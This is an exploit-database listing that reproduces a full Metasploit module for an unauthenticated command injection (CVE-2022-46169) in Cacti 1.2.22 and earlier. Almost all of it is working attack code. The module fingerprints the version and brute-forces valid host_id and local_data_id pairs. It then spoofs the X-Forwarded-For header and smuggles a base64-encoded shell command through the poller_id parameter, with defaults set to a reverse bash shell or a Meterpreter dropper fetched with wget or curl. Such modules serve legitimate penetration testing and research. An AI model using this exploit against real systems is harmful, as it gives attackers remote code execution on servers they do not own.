Cacti 1.2.22 Command Injection

2023.01.24
Credit: mr_me
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Cacti 1.2.22 unauthenticated command injection', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in order to achieve unauthenticated remote code execution as the www-data user. The module first attempts to obtain the Cacti version to see if the target is affected. If LOCAL_DATA_ID and/or HOST_ID are not set, the module will try to bruteforce the missing value(s). If a valid combination is found, the module will use these to attempt exploitation. If LOCAL_DATA_ID and/or HOST_ID are both set, the module will immediately attempt exploitation. During exploitation, the module sends a GET request to /remote_agent.php with the action parameter set to polldata and the X-Forwarded-For header set to the provided value for X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the poller_id parameter is set to the payload and the host_id and local_data_id parameters are set to the bruteforced or provided values. If X_FORWARDED_FOR_IP is set to an address that is resolvable to a hostname in the poller table, and the local_data_id and host_id values are vulnerable, the payload set for poller_id will be executed by the target. This module has been successfully tested against Cacti version 1.2.22 running on Ubuntu 21.10 (vulhub docker image) }, 'License' => MSF_LICENSE, 'Author' => [ 'Stefan Schiller', # discovery (independent of Steven Seeley) 'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller) 'Owen Gong', # @phithon_xg - vulhub PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2022-46169'], ['URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf'], # disclosure and technical details ['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC ['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller ], 'DefaultOptions' => { 'RPORT' => 8080 }, 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Automatic (Unix In-Memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'Type' => :unix_memory } ], [ 'Automatic (Linux Dropper)', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'Type' => :linux_dropper } ] ], 'Privileged' => false, 'DisclosureDate' => '2022-12-05', 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']), OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']), OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']), OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.']) ]) register_advanced_options([ OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]), OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]), OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]), OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100]) ]) end def check # sanity check to see if the target is likely Cacti res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('<title>Login to Cacti') return CheckCode::Safe('Target is not a Cacti application.') end # get the version version = res.body.scan(/Version (.*?) \| \(c\)/)&.flatten&.first if version.blank? return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.') end begin if Rex::Version.new(version) <= Rex::Version.new('1.2.22') return CheckCode::Appears("The target is Cacti version #{version}") else return CheckCode::Safe("The target is Cacti version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}") end end def exploitable_rrd_names [ 'apache_total_kbytes', 'apache_total_hits', 'apache_total_hits', 'apache_total_kbytes', 'apache_cpuload', 'boost_avg_size', 'boost_peak_memory', 'boost_records', 'boost_table', 'ExportDuration', 'ExportGraphs', 'syslogRuntime', 'tholdRuntime', 'polling_time', 'uptime', ] end def brute_force_ids # perform a sanity check first if @host_id host_ids = [@host_id] else if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID'] fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible') end host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a end if @local_data_id local_data_ids = [@local_data_ids] else if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID'] fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible') end local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a end # lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id max_attempts = host_ids.length * local_data_ids.length if max_attempts > 1000 fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.') end potential_targets = [] request_ct = 0 print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations") host_ids.each do |h_id| print_status("Enumerating local_data_id values for host_id #{h_id}") local_data_ids.each do |ld_id| request_ct += 1 print_status("Performing request #{request_ct}...") if request_ct % 25 == 0 res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000))) unless res print_error('No response received. Aborting bruteforce') return nil end unless res.code == 200 print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce") return nil end begin parsed_response = JSON.parse(res.body) rescue JSON::ParserError print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce") return nil end unless parsed_response.is_a?(Array) print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce") return nil end # the array can be empty, which is not an error but just means the local_data_id is not exploitable next if parsed_response.empty? first_item = parsed_response.first unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) } print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce") return nil end # some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array # if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it # in addition, some data source types have an empty rrd_name but are still exploitable # however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it # instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end # then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options rrd_name = first_item['rrd_name'] if rrd_name.empty? potential_targets << [h_id, ld_id] elsif exploitable_rrd_names.include?(rrd_name) print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}") return [h_id, ld_id] else next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on end end end return nil if potential_targets.empty? # inform the user about potential targets print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:") potential_targets.each do |h_id, ld_id| print_line("\thost_id: #{h_id} - local_data_id: #{ld_id}") end print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options') nil end def execute_command(cmd, _opts = {}) # use base64 encoding to get around special char limitations cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`" send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0) end def exploit @host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present? @local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present? unless @host_id && @local_data_id brute_force_result = brute_force_ids unless brute_force_result fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.') end @host_id, @local_data_id = brute_force_result end if target.arch.first == ARCH_CMD print_status('Executing the payload. This may take a few seconds...') execute_command(payload.encoded) else execute_cmdstager(background: true) end end def remote_agent_request(ld_id, h_id, poller_id) { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'remote_agent.php'), 'headers' => { 'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP'] }, 'vars_get' => { 'action' => 'polldata', 'local_data_ids[0]' => ld_id, 'host_id' => h_id, 'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload } } end end


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